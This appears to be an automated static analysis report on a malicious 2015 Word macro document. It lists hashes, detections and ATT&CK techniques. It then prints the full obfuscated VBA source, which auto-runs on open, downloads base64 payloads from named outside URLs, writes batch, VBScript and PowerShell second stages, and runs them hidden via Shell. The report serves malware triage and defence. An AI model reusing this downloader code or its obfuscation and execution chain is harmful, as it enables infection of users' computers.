Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8db91267a3f621e5…

MALICIOUS

Office (OLE)

110.0 KB Created: 2015-06-29 11:46:00 Authoring application: Microsoft Office Word First seen: 2015-09-20
MD5: 1bf64bce033df3f3dc0ef62e032e7f80 SHA-1: 035a9225ecabf32e33d8248d7f0d186a250c27c8 SHA-256: 8db91267a3f621e5d8256db2c09c9d3558a669817aa797f0a7d53adececaecbe
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that are designed to execute automatically upon opening the document, as indicated by the AutoOpen and Workbook_Open heuristics. The script attempts to download a file from one of the provided URLs, reconstructing the temporary filename as 'temp\kaka.txt'. This behavior strongly suggests the document is a downloader for a second-stage payload, aligning with the 'Doc.Downloader.Macro-27' ClamAV detection.

Heuristics 13

  • ClamAV: Doc.Downloader.Macro-27 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-27
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.houseofsultan.co.uk/wp-content/uploads/2015/06/kaka.txt Referenced by macro
    • http://www.houseofsultan.co.uk/wp-content/uploads/2015/06/6727156315273.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://www.houstonsbackyard.com/wp-content/uploads/2015/06/6727156315273.txtReferenced by macro
    • http://www.houstonsbackyard.com/wp-content/uploads/2015/06/kaka.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12183 bytes
SHA-256: 5eb3a84f381e7066398d7fba9bf10f58a7fc53c38f475cf24c3a115ca3113c0d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
78 of 194 identifiers look randomly generated (e.g. 'Tghafsdghqhjwgdhjqwgdjhqwgdqwd'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub JIwdjkqhdjkqhwjkqwhd_Open()
     
End Sub
Sub Njqhwkdjwqkdhqwk_Open()
     
End Sub
Sub Auto_Open()
    IUhquwhdjqwbdmnabsdas
    Sqoijwdqwjdkqwhd
End Sub
Sub IUhquwhdjqwbdmnabsdas()
    HJDJQWGDJQWGDJWQH = "nj1k2h jk32h1hk3j12hk3h12 jk1hkj3 123"
End Sub
Sub gqhdghHujhasdgashdjas()
    HUQIDWQIUD = "qjhwej 21gjh12e12ge 12jhge1k2ek12hekjgh1 2jhg"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    QUHDIQWDSA = "jqwhdukqwhduqjwh dkjqwhdj kqwhjk qwhdjkhqwkjdhqw kdhqw "
    Auto_Open
End Sub
 
Sub Sqoijwdqwjdkqwhd()

    Dim huwe, auwd As Integer, aabbb As Integer
    Dim HUHPPHPP As String, HBHJVJG As String
    HBHJVJG = "\"
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    
    
    YUGQYD = Ubqhwdhwqbd(24652) + ""
    HUHPPHPP = Chr(84) & "em" + "p"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module4.Goabc(HUHPPHPP) + HBHJVJG
    
    woweffect = 6
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajkhksdhf hjg23h1gjheg 12hge jh12 gejh12 e21g12gej t"
    JWIDJIAAA = ""
    HUYFEA = "j1h2jkdskjah djkashdas djkahdkahshdshdk dhashds"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qwdnbwqhjgd jhqwgdjhqwgd jhqwg djhqwg djqghjdhqg jhgqw"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = ".jpg"
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "http://"
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "baajshdjkas hajkhdjkah dkjsahkjash djkahask "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    TSTS = "." + "t" + "xt"
    CDDD = "6727156315273" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "www.houseofsultan.co.uk/w" + "p-content/uploads/2015/06/"
    STT2 = "www.houstonsbackyard.com/w" + "p-content/uploads/2015/06/"


PBIn = ATTH + STT1 + CDDD
    CONT = Module4.Jhuqwhdhsss(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module4.Jhuqwhdhsss(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module4.Jhuqwhdhsss(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = SPIC + "5751812" + GNG
    MSTAR2 = SPIC + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module4.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@e" + "cho off"
     Print #EFT, ":iqjdhqwduhqwi"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":huwdiqgugsgd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module4.WaitFor (1)
     
     NTH2 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
    NTH6 = Module6.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module6.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(62)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Module6.Moloko(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function

Private Static Function Log10(x)
HUQDWWQ = "qwhduqwhudiwq"
Log10 = Log(x) / Log(10#)
End Function










Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"

Attribute VB_Name = "Module4"

Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Jhuqwhdhsss(a As String)
Dim ygwdg As Integer, Tghafsdghqhjwgdhjqwgdjhqwgdqwd As Object
Dim ggFw As String
ggFw = a
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ)
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
HUQDUIQWHDQIHA = "j21hjkeh 21jkh12jkhe 21jkhe2j1khe 12jkhe21jkhe jk12hk12"
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Send ""
Jhuqwhdhsss = Tghafsdghqhjwgdhjqwgdjhqwgdqwd.ResponseText
End Function









Attribute VB_Name = "Module5"

Attribute VB_Name = "Module6"

Public Function GHJgwqdjqgw(a As Variant, b)
JQDHKWQD = "qwkjdqwejqwhejk2 hjke2h1kj12h jkeh21k 21jk"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function


Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim jhwqduqhwjkqwhkjqwhdjkqw As Range, selRange As Range
Set jhwqduqhwjkqwhkjqwhdjkqw = ActiveDocument.Range
JKQHWDJKWQHDJKQWHDHDHD = "qwbjd qghwgqjdgq whjdg quwgdjhqg whjdgqw dgjwd "
QHJDJKQWHJKDHQWJKGDHSH = "ashdja gsjdhgas dhjqwdg q2hgj1hge j21gek j2eeee"
With jhwqduqhwjkqwhkjqwhdjkqw.Find
'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
.Text = dnuwhd
.MatchWholeWord = True
jhwqduqhwjkqwhkjqwhdjkqw.Find.Execute
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set selRange = ActiveDocument.Range
Dim wdsadwq As String
selRange.Start = jhwqduqhwjkqwhkjqwhdjkqw.End
.Text = b
.MatchWholeWord = True
.Execute
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseStart
selRange.End = jhwqduqhwjkqwhkjqwhdjkqw.Start

If (c = 1) Then
    selectedText = selRange.Delete
End If
If (c = 2) Then
    selRange.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

If (c = 3) Then
    With jhwqduqhwjkqwhkjqwhdjkqw.Find
    .Text = a
    .Replacement.Text = "  "
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    'HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function



Public Function Moloko(a, b, c)
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HAJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJDKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKAHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
Moloko = Mid(a, b, c)
JQDHQW = "qkjwdkqw"
 HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
HJKHDKJWQHJKQWGD = "u2i3yruiyui32 hri32 hi32 ru2i3hr 2u3hruk3 2j32hr23r"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.